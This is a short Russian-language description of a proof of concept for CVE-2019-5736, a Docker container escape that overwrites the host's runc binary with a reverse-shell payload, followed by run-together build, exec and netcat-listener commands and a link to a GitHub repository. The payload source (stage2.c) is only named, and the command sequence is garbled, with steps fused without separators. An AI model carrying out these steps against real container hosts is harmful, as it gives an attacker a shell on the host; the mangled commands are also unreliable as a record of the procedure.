
Образовательное доказательство концепции для CVE-2019-5736, демонстрирующее выход из контейнера Docker путем перезаписи бинарного файла runc с полезной нагрузкой обратного шелла.
stage2.c и поместите его в контейнер.
docker build -t cve .docker run -d -t --name cvetest cvecp /usr/bin/docker-runc /usr/bin/docker-runc.bakdocker exec -it cve /bin/bash.cd /root && ./run.sh && exitnc -nlvvp 4455docker exec -it cve /bin/bashСсылка: https://github.com/agppp/cve-2019-5736-poc Спасибо.